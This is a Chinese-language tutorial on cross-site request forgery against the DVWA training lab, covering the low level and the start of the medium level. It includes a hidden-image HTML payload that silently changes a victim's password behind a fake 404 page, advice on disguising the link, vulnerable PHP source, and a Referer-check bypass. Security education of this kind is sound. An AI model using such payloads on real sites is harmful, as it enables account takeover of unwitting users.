CSRF
Cross-site request forgery(跨站请求伪造),利用受害者cookie、会话,诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向身份认证信息所对应的服务器发送请求,从而完成非法操作。
CSRF攻击攻击原理及过程如下:
- 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
- 在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
- 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
- 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
- 浏览器在接收到这些攻击性代码后,根据网站 B 的请求,在用户不知情的情况下携带 Cookie 信息,向网站 A 发出请求。网站 A 并不知道该请求其实是由 B 发起的,所以会根据用户 C 的 Cookie 信息以 C 的权限处理该请求,导致来自网站 B 的恶意代码被执行。
LOW
我们现在来做low的题目,我们的目的是想要让受害人在不知不觉中修改dvwa的网站密码,首先我们先观察下这个页面是如何工作的
我们修改新密码为1234
可以看到头顶的url发生了变化
http://localhost/dvwa/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#
我们的新密码已经打在了url上,我们现在来分析这个url,如果是一个在外网的网站那么前面的这个localhost会显示出这个网站的域名或者ip。也就是这个
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=12345&password_conf=12345&Change=Change#
我们现在把这个发给其他人他们点击这链接时密码肯定会被更改,但是这份url一看就有问题而且也会弹出被修改的页面。
所以我们需要做一些手脚,比如使用短链接、二维码等,也可以创造一个新的页面,让受害人打开网页时自动执行咱们修改密码的url。
我们可以写一份html
<img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=54321&password_conf=54321&Change=Change#" style="display:none;" />
<h1>
404
<h1>
<h2>
file not found.
<h2>
这里面将我们的恶意url变成一个图片的形式,因为我们在访问一个页面时图片一般会自动打开,而打开这个图片就访问了我们的url所以会在神不知鬼不觉的时候修改了网站的password,最后我们添加一个
style="display:none;"
用来隐藏我们的图片。
受害人只会发现自己打开了一个不存在的页面但是并不知道他的密码已经被改为了54321。
我们可以访问dvwa的mysql数据库去查一下密码有没有被修改
不出我们所料,密码已经被修改了。
总结
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
mysql_close();
}
?>
我们看到这里使用了mysql_real_escape_string防止sql注入,然后就是简单的获取新密码。我们可以设置用户输入旧密码来更改新密码或者是用验证码来防止csrf攻击
medium
我们先来看下源代码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
mysql_close();
}
?>
if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) )
我们可以看到现在页面要求检查HTTP_REFERER中是否包含SERVER_NAME(访问的主机名)
我们先来抓包分析下
GET /dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://127.0.0.1/dvwa/vulnerabilities/csrf/
Cookie: security=medium; PHPSESSID=jd0dd44s5clk5k7t658461ppu0
Upgrade-Insecure-Requests: 1
就是说服务器现在要检查的就是
Referer: http://127.0.0.1/dvwa/vulnerabilities/csrf/
这条语句中有没有包含host的地址也就是127.0.0.1明显是有的所以就可以正常执行,那么我们怎么骗过这个检查呢?
我们可以修改我们的网页名称或者路径为我们的host就行